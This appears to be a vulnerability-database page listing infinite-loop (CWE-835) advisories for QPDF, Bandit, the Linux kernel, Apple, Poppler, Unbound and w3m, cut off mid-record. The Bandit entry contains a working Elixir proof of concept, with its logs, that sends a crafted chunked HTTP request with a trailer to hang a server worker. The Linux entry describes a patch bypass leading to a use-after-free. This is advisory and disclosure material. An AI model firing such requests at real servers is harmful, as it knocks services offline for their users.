Common Weakness Enumeration

CWE-835

Allowed

Loop with Unreachable Exit Condition ('Infinite Loop')

Abstraction: Base · Status: Incomplete

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

1201 vulnerabilities reference this CWE, most recent first.

GHSA-R8P4-VPV8-P6QQ

Vulnerability from github – Published: 2022-05-13 01:47 – Updated: 2025-04-20 03:38
VLAI
Details

libqpdf.a in QPDF 6.0.0 allows remote attackers to cause a denial of service (infinite recursion and stack consumption) via a crafted PDF document, related to unparse functions, aka qpdf-infiniteloop3.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-9210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-23T04:29:00Z",
    "severity": "MODERATE"
  },
  "details": "libqpdf.a in QPDF 6.0.0 allows remote attackers to cause a denial of service (infinite recursion and stack consumption) via a crafted PDF document, related to unparse functions, aka qpdf-infiniteloop3.",
  "id": "GHSA-r8p4-vpv8-p6qq",
  "modified": "2025-04-20T03:38:11Z",
  "published": "2022-05-13T01:47:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9210"
    },
    {
      "type": "WEB",
      "url": "https://blogs.gentoo.org/ago/2017/05/21/qpdf-three-infinite-loop-in-libqpdf"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3638-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RF5Q-VWXW-GMRF

Vulnerability from github – Published: 2026-05-19 19:25 – Updated: 2026-06-08 20:17
VLAI
Summary
Bandit: Unauthenticated DoS via chunked request trailers in Bandit HTTP/1 decoder
Details

Summary

A worker-pinning denial of service in Bandit's HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a Transfer-Encoding: chunked request whose body ends with a trailer field (RFC 9112 §7.1.2 explicitly permits this) causes the connection's worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.

The vulnerability was likely introduced with this commit on Dec 6, 2024: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217

Details

The bug is in lib/bandit/http1/socket.ex in do_read_chunked_data!/5 (around lines 242–274). The terminator clause matches only ["0", "\r\n" <> rest] — i.e. the last-chunk line 0\r\n followed immediately by the empty trailer line. RFC 9112 §7.1.2 allows zero or more trailer fields between 0\r\n and the final \r\n, e.g. a body ending 0\r\nX-T: v\r\n\r\n.

When trailers are present, :binary.split/2 returns ["0", "X-T: v\r\n\r\n"]. The terminator clause does not match. The inner <<_::binary-size(0), ?\r, ?\n, _::binary>> pattern also does not match because rest starts with X. Execution falls into the _ -> arm, which computes to_read = 0 - byte_size(rest) (a negative number) and calls read_available!/2 on the socket. On timeout, read_available!/2 returns <<>>, leaving the buffer unchanged. do_read_chunked_data!/5 then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.

The same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and read_available! is repeatedly called with no progress.

The gap is acknowledged in the source itself — the comment on line 245 reads: "We should be reading (and ignoring) trailers here".

Suggested fix: after the 0 size line, consume bytes up to \r\n\r\n (parsing/discarding trailers via :erlang.decode_packet(:httph_bin, …)) before returning. Additionally, ensure every recursive arm makes forward progress — when read_available!/2 returns <<>>, raise request_error!(:request_timeout) rather than re-entering with an unchanged buffer.

PoC

A self-contained reproduction script is available below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:

  • one 5-byte chunk "hello"
  • the last-chunk marker 0\r\n
  • one trailer field X-Trailer: 1\r\n
  • the terminating \r\n

The request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, :gen_tcp.recv/3 times out after 10 seconds because the worker is stuck spinning in do_read_chunked_data!/5.

Steps to reproduce: 1. elixir script.exs 2. Observe the TIMEOUT — worker is pinned in do_read_chunked_data!/5 log line. 3. Each additional concurrent client sending the same request consumes one more worker process.

Impact

Unauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies — the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.

Script and Logs

# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.
#
# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates
# only when the last-chunk line `0\r\n` is followed *immediately* by the
# empty trailer line `\r\n`. RFC 9112 §7.1.2 allows trailer fields between
# them (e.g. `0\r\nX-T: v\r\n\r\n`). With trailers present, none of the
# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`
# (negative), calls read_available!/2, gets <<>> on timeout, and recurses
# with the same buffer forever — pinning the worker for the connection's
# lifetime. The line 245 comment ("We should be reading (and ignoring)
# trailers here") acknowledges the gap.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST
# whose body ends with a single trailer field, and waits for a response.
# A correct server replies in milliseconds; the buggy decoder never does.
#
# Run: elixir script.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"}
])

defmodule EchoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    {:ok, body, conn} = Plug.Conn.read_body(conn)
    Plug.Conn.send_resp(conn, 200, "got #{byte_size(body)} bytes")
  end
end

defmodule TrailerHang do
  @port 4321
  @recv_timeout_ms 10_000

  def run do
    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])

    request = build_chunked_request_with_trailer()
    log("Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.")
    :ok = :gen_tcp.send(sock, request)

    log("Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…")
    started_at = System.monotonic_time(:millisecond)

    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do
      {:ok, response} ->
        elapsed = System.monotonic_time(:millisecond) - started_at
        log("Got response after #{elapsed}ms — server handles trailers correctly:")
        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))

      {:error, :timeout} ->
        log("TIMEOUT — worker is pinned in do_read_chunked_data!/5.")
        log("Each concurrent client sending this shape consumes one Bandit worker.")

      {:error, reason} ->
        log("Connection error: #{inspect(reason)}")
    end

    :gen_tcp.close(sock)
  end

  # Body: one 5-byte chunk "hello", last-chunk marker `0\r\n`, one trailer
  # `X-Trailer: 1\r\n`, terminating `\r\n`. RFC-conformant; many proxies
  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing
  # responses or requests.
  defp build_chunked_request_with_trailer do
    "POST / HTTP/1.1\r\n" <>
      "Host: 127.0.0.1:#{@port}\r\n" <>
      "Transfer-Encoding: chunked\r\n" <>
      "Trailer: X-Trailer\r\n" <>
      "Content-Type: application/octet-stream\r\n" <>
      "\r\n" <>
      "5\r\nhello\r\n" <>
      "0\r\n" <>
      "X-Trailer: 1\r\n" <>
      "\r\n"
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

TrailerHang.run()
12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[10:36:54.275] Sending chunked POST whose body ends with `0\r\nX-Trailer: 1\r\n\r\n`.
[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)…
[10:37:04.276] TIMEOUT — worker is pinned in do_read_chunked_data!/5.
[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.6.0"
            },
            {
              "fixed": "1.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39806"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T19:25:21Z",
    "nvd_published_at": "2026-05-13T14:17:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA worker-pinning denial of service in Bandit\u0027s HTTP/1 chunked transfer decoder. Any unauthenticated client that sends a `Transfer-Encoding: chunked` request whose body ends with a trailer field (RFC 9112 \u00a77.1.2 explicitly permits this) causes the connection\u0027s worker process to spin forever in an infinite recursion. A handful of concurrent connections are sufficient to exhaust the listener pool and render the server unresponsive to all further traffic.\n\nThe vulnerability was likely introduced with this commit on `Dec 6, 2024`: https://github.com/mtrudel/bandit/commit/e73e379ab59840e8561b5730878f16e29ab06217\n\n### Details\nThe bug is in `lib/bandit/http1/socket.ex` in `do_read_chunked_data!/5` (around lines 242\u2013274). The terminator clause matches only `[\"0\", \"\\r\\n\" \u003c\u003e rest]` \u2014 i.e. the last-chunk line `0\\r\\n` followed *immediately* by the empty trailer line. RFC 9112 \u00a77.1.2 allows zero or more trailer fields between `0\\r\\n` and the final `\\r\\n`, e.g. a body ending `0\\r\\nX-T: v\\r\\n\\r\\n`.\n\nWhen trailers are present, `:binary.split/2` returns `[\"0\", \"X-T: v\\r\\n\\r\\n\"]`. The terminator clause does not match. The inner `\u003c\u003c_::binary-size(0), ?\\r, ?\\n, _::binary\u003e\u003e` pattern also does not match because `rest` starts with `X`. Execution falls into the `_ -\u003e` arm, which computes `to_read = 0 - byte_size(rest)` (a negative number) and calls `read_available!/2` on the socket. On timeout, `read_available!/2` returns `\u003c\u003c\u003e\u003e`, leaving the buffer unchanged. `do_read_chunked_data!/5` then tail-recurses with the same state and makes no forward progress. The worker is pinned for the lifetime of the TCP connection.\n\nThe same shape applies to malformed chunk frames where the declared chunk-size disagrees with the actual data length: the binary-size pattern cannot match and `read_available!` is repeatedly called with no progress.\n\nThe gap is acknowledged in the source itself \u2014 the comment on line 245 reads: *\"We should be reading (and ignoring) trailers here\"*.\n\n**Suggested fix:** after the `0` size line, consume bytes up to `\\r\\n\\r\\n` (parsing/discarding trailers via `:erlang.decode_packet(:httph_bin, \u2026)`) before returning. Additionally, ensure every recursive arm makes forward progress \u2014 when `read_available!/2` returns `\u003c\u003c\u003e\u003e`, raise `request_error!(:request_timeout)` rather than re-entering with an unchanged buffer.\n\n### PoC\nA self-contained reproduction script is available below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial echo Plug, opens a TCP connection, and sends a single chunked POST whose body is:\n\n- one 5-byte chunk `\"hello\"`\n- the last-chunk marker `0\\r\\n`\n- one trailer field `X-Trailer: 1\\r\\n`\n- the terminating `\\r\\n`\n\nThe request is fully RFC-conformant; many fronting proxies (NGINX, HAProxy) emit this exact shape when forwarding trailer-bearing requests. A correct server responds within milliseconds. With the bug, `:gen_tcp.recv/3` times out after 10 seconds because the worker is stuck spinning in `do_read_chunked_data!/5`.\n\nSteps to reproduce:\n1. `elixir script.exs`\n2. Observe the `TIMEOUT \u2014 worker is pinned in do_read_chunked_data!/5` log line.\n3. Each additional concurrent client sending the same request consumes one more worker process.\n\n### Impact\nUnauthenticated denial of service against any Bandit-fronted HTTP/1 service that accepts chunked request bodies \u2014 the default for Phoenix and Plug applications. No authentication, no special headers, and no large payload are required; a small number of attacker-controlled connections is enough to exhaust the worker pool and make the server unreachable for all users. Servers sitting behind proxies that legitimately forward trailer-bearing requests can also be affected without any malicious client involvement.\n\n### Script and Logs\n\n```elixir\n# Bandit HTTP/1 chunked decoder hangs on requests with trailer headers.\n#\n# lib/bandit/http1/socket.ex:242-274 (do_read_chunked_data!/5) terminates\n# only when the last-chunk line `0\\r\\n` is followed *immediately* by the\n# empty trailer line `\\r\\n`. RFC 9112 \u00a77.1.2 allows trailer fields between\n# them (e.g. `0\\r\\nX-T: v\\r\\n\\r\\n`). With trailers present, none of the\n# match clauses fit: the `_` arm computes `to_read = 0 - byte_size(rest)`\n# (negative), calls read_available!/2, gets \u003c\u003c\u003e\u003e on timeout, and recurses\n# with the same buffer forever \u2014 pinning the worker for the connection\u0027s\n# lifetime. The line 245 comment (\"We should be reading (and ignoring)\n# trailers here\") acknowledges the gap.\n#\n# This script starts Bandit 1.10 on 127.0.0.1:4321, sends one chunked POST\n# whose body ends with a single trailer field, and waits for a response.\n# A correct server replies in milliseconds; the buggy decoder never does.\n#\n# Run: elixir script.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule EchoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    {:ok, body, conn} = Plug.Conn.read_body(conn)\n    Plug.Conn.send_resp(conn, 200, \"got #{byte_size(body)} bytes\")\n  end\nend\n\ndefmodule TrailerHang do\n  @port 4321\n  @recv_timeout_ms 10_000\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: EchoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n\n    request = build_chunked_request_with_trailer()\n    log(\"Sending chunked POST whose body ends with `0\\\\r\\\\nX-Trailer: 1\\\\r\\\\n\\\\r\\\\n`.\")\n    :ok = :gen_tcp.send(sock, request)\n\n    log(\"Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)\u2026\")\n    started_at = System.monotonic_time(:millisecond)\n\n    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do\n      {:ok, response} -\u003e\n        elapsed = System.monotonic_time(:millisecond) - started_at\n        log(\"Got response after #{elapsed}ms \u2014 server handles trailers correctly:\")\n        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))\n\n      {:error, :timeout} -\u003e\n        log(\"TIMEOUT \u2014 worker is pinned in do_read_chunked_data!/5.\")\n        log(\"Each concurrent client sending this shape consumes one Bandit worker.\")\n\n      {:error, reason} -\u003e\n        log(\"Connection error: #{inspect(reason)}\")\n    end\n\n    :gen_tcp.close(sock)\n  end\n\n  # Body: one 5-byte chunk \"hello\", last-chunk marker `0\\r\\n`, one trailer\n  # `X-Trailer: 1\\r\\n`, terminating `\\r\\n`. RFC-conformant; many proxies\n  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing\n  # responses or requests.\n  defp build_chunked_request_with_trailer do\n    \"POST / HTTP/1.1\\r\\n\" \u003c\u003e\n      \"Host: 127.0.0.1:#{@port}\\r\\n\" \u003c\u003e\n      \"Transfer-Encoding: chunked\\r\\n\" \u003c\u003e\n      \"Trailer: X-Trailer\\r\\n\" \u003c\u003e\n      \"Content-Type: application/octet-stream\\r\\n\" \u003c\u003e\n      \"\\r\\n\" \u003c\u003e\n      \"5\\r\\nhello\\r\\n\" \u003c\u003e\n      \"0\\r\\n\" \u003c\u003e\n      \"X-Trailer: 1\\r\\n\" \u003c\u003e\n      \"\\r\\n\"\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nTrailerHang.run()\n```\n\n```logs\n12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[10:36:54.275] Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.\n[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)\u2026\n[10:37:04.276] TIMEOUT \u2014 worker is pinned in do_read_chunked_data!/5.\n[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.\n```",
  "id": "GHSA-rf5q-vwxw-gmrf",
  "modified": "2026-06-08T20:17:20Z",
  "published": "2026-05-19T19:25:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-rf5q-vwxw-gmrf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39806"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-39806.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-39806"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bandit: Unauthenticated DoS via chunked request trailers in Bandit HTTP/1 decoder"
}

GHSA-RH23-W5X7-XJM4

Vulnerability from github – Published: 2025-06-06 15:30 – Updated: 2025-12-17 21:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

net_sched: hfsc: Address reentrant enqueue adding class to eltree twice

Savino says: "We are writing to report that this recent patch (141d34391abbb315d68556b7c67ad97885407547) [1] can be bypassed, and a UAF can still occur when HFSC is utilized with NETEM.

The patch only checks the cl->cl_nactive field to determine whether
it is the first insertion or not [2], but this field is only
incremented by init_vf [3].

By using HFSC_RSC (which uses init_ed) [4], it is possible to bypass the
check and insert the class twice in the eltree.
Under normal conditions, this would lead to an infinite loop in
hfsc_dequeue for the reasons we already explained in this report [5].

However, if TBF is added as root qdisc and it is configured with a
very low rate,
it can be utilized to prevent packets from being dequeued.
This behavior can be exploited to perform subsequent insertions in the
HFSC eltree and cause a UAF."

To fix both the UAF and the infinite loop, with netem as an hfsc child, check explicitly in hfsc_enqueue whether the class is already in the eltree whenever the HFSC_RSC flag is set.

[1] https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=141d34391abbb315d68556b7c67ad97885407547 [2] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L1572 [3] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L677 [4] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L1574 [5] https://lore.kernel.org/netdev/8DuRWwfqjoRDLDmBMlIfbrsZg9Gx50DHJc1ilxsEBNe2D6NMoigR_eIRIG0LOjMc3r10nUUZtArXx4oZBIdUfZQrwjcQhdinnMis_0G7VEk=@willsroot.io/T/#u

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-38001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-06T14:15:22Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet_sched: hfsc: Address reentrant enqueue adding class to eltree twice\n\nSavino says:\n    \"We are writing to report that this recent patch\n    (141d34391abbb315d68556b7c67ad97885407547) [1]\n    can be bypassed, and a UAF can still occur when HFSC is utilized with\n    NETEM.\n\n    The patch only checks the cl-\u003ecl_nactive field to determine whether\n    it is the first insertion or not [2], but this field is only\n    incremented by init_vf [3].\n\n    By using HFSC_RSC (which uses init_ed) [4], it is possible to bypass the\n    check and insert the class twice in the eltree.\n    Under normal conditions, this would lead to an infinite loop in\n    hfsc_dequeue for the reasons we already explained in this report [5].\n\n    However, if TBF is added as root qdisc and it is configured with a\n    very low rate,\n    it can be utilized to prevent packets from being dequeued.\n    This behavior can be exploited to perform subsequent insertions in the\n    HFSC eltree and cause a UAF.\"\n\nTo fix both the UAF and the infinite loop, with netem as an hfsc child,\ncheck explicitly in hfsc_enqueue whether the class is already in the eltree\nwhenever the HFSC_RSC flag is set.\n\n[1] https://web.git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=141d34391abbb315d68556b7c67ad97885407547\n[2] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L1572\n[3] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L677\n[4] https://elixir.bootlin.com/linux/v6.15-rc5/source/net/sched/sch_hfsc.c#L1574\n[5] https://lore.kernel.org/netdev/8DuRWwfqjoRDLDmBMlIfbrsZg9Gx50DHJc1ilxsEBNe2D6NMoigR_eIRIG0LOjMc3r10nUUZtArXx4oZBIdUfZQrwjcQhdinnMis_0G7VEk=@willsroot.io/T/#u",
  "id": "GHSA-rh23-w5x7-xjm4",
  "modified": "2025-12-17T21:30:29Z",
  "published": "2025-06-06T15:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-38001"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/295f7c579b07b5b7cf2dffe485f71cc2f27647cb"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2c928b3a0b04a431ffcd6c8b7d88a267124a3a28"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/2f2190ce4ca972051cac6a8d7937448f8cb9673c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/39ed887b1dd2d6b720f87e86692ac3006cc111c8"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4e38eaaabfb7fffbb371a51150203e19eee5d70e"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/6672e6c00810056acaac019fe26cdc26fee8a66c"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/a0ec22fa20b252edbe070a9de8501eef63c17ef5"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/ac9fe7dd8e730a103ae4481147395cc73492d786"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/e5bee633cc276410337d54b99f77fbc1ad8801e5"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00007.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/10/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://syst3mfailure.io/rbtree-family-drama"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RH7R-JRG6-JCWX

Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2022-05-13 01:44
VLAI
Details

An issue was discovered in certain Apple products. iOS before 10.3 is affected. macOS before 10.12.4 is affected. tvOS before 10.2 is affected. watchOS before 3.2 is affected. The issue involves the "CoreGraphics" component. It allows remote attackers to cause a denial of service (infinite recursion) via a crafted image.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-2417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-02T01:59:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in certain Apple products. iOS before 10.3 is affected. macOS before 10.12.4 is affected. tvOS before 10.2 is affected. watchOS before 3.2 is affected. The issue involves the \"CoreGraphics\" component. It allows remote attackers to cause a denial of service (infinite recursion) via a crafted image.",
  "id": "GHSA-rh7r-jrg6-jcwx",
  "modified": "2022-05-13T01:44:49Z",
  "published": "2022-05-13T01:44:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-2417"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT207601"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT207602"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT207615"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT207617"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97137"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1038138"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RHH3-RX8X-HWMM

Vulnerability from github – Published: 2022-05-13 01:43 – Updated: 2022-05-13 01:43
VLAI
Details

In Poppler 0.59.0, memory corruption occurs in a call to Object::dictLookup() in Object.h after a repeating series of Gfx::display, Gfx::go, Gfx::execOp, Gfx::opFill, Gfx::doPatternFill, Gfx::doTilingPatternFill and Gfx::drawForm calls (aka a Gfx.cc infinite loop), a different vulnerability than CVE-2017-14519.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-14929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-30T01:29:00Z",
    "severity": "HIGH"
  },
  "details": "In Poppler 0.59.0, memory corruption occurs in a call to Object::dictLookup() in Object.h after a repeating series of Gfx::display, Gfx::go, Gfx::execOp, Gfx::opFill, Gfx::doPatternFill, Gfx::doTilingPatternFill and Gfx::drawForm calls (aka a Gfx.cc infinite loop), a different vulnerability than CVE-2017-14519.",
  "id": "GHSA-rhh3-rx8x-hwmm",
  "modified": "2022-05-13T01:43:32Z",
  "published": "2022-05-13T01:43:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14929"
    },
    {
      "type": "WEB",
      "url": "https://bugs.freedesktop.org/show_bug.cgi?id=102969"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4097"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RHJG-FH2P-JPV5

Vulnerability from github – Published: 2022-05-24 17:18 – Updated: 2022-05-24 17:18
VLAI
Details

Unbound before 1.10.1 has an infinite loop via malformed DNS answers received from upstream servers.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-12663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-05-19T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Unbound before 1.10.1 has an infinite loop via malformed DNS answers received from upstream servers.",
  "id": "GHSA-rhjg-fh2p-jpv5",
  "modified": "2022-05-24T17:18:08Z",
  "published": "2022-05-24T17:18:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12663"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/02/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F5NFROI2OMCZLYRTCNGHGO3TUD32LCIQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YJ42N2HBZ3DXMSEC56SWIIOFQGOS5M7I"
    },
    {
      "type": "WEB",
      "url": "https://nlnetlabs.nl/downloads/unbound/CVE-2020-12662_2020-12663.txt"
    },
    {
      "type": "WEB",
      "url": "https://security.FreeBSD.org/advisories/FreeBSD-SA-20:19.unbound.asc"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4374-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2020/dsa-4694"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00067.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00069.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2020/05/19/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RHW8-JFW3-7W97

Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2022-05-13 01:53
VLAI
Details

w3m through 0.5.3 is prone to an infinite recursion flaw in HTMLlineproc0 because the feed_table_block_tag function in table.c does not prevent a negative indent value.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-6196"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-25T03:29:00Z",
    "severity": "HIGH"
  },
  "details": "w3m through 0.5.3 is prone to an infinite recursion flaw in HTMLlineproc0 because the feed_table_block_tag function in table.c does not prevent a negative indent value.",
  "id": "GHSA-rhw8-jfw3-7w97",
  "modified": "2022-05-13T01:53:03Z",
  "published": "2022-05-13T01:53:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6196"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tats/w3m/issues/88"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tats/w3m/commit/8354763b90490d4105695df52674d0fcef823e92"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/04/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/3555-1"
    },
    {
      "type": "WEB",
